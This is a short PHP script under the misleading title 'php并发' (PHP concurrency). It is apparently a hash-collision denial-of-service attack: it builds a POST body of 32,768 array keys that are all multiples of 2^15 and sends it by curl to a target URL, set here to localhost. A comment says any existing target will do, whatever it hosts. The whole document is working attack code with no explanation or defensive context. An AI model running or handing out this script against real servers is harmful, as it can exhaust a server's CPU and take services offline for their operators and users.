php并发
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<?php
// 只要目标地址存在，不用管它是干嘛的
$host = 'https://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
$data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&'));
var_dump($ret);
function curl($url, $post, $timeout = 30){
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$output = curl_exec($ch);
if ($output === false) return false;
$info = curl_getinfo($ch);
$http_code = $info['http_code'];
if ($http_code == 404) return false;
curl_close($ch);
return $output;
}
Php
INFO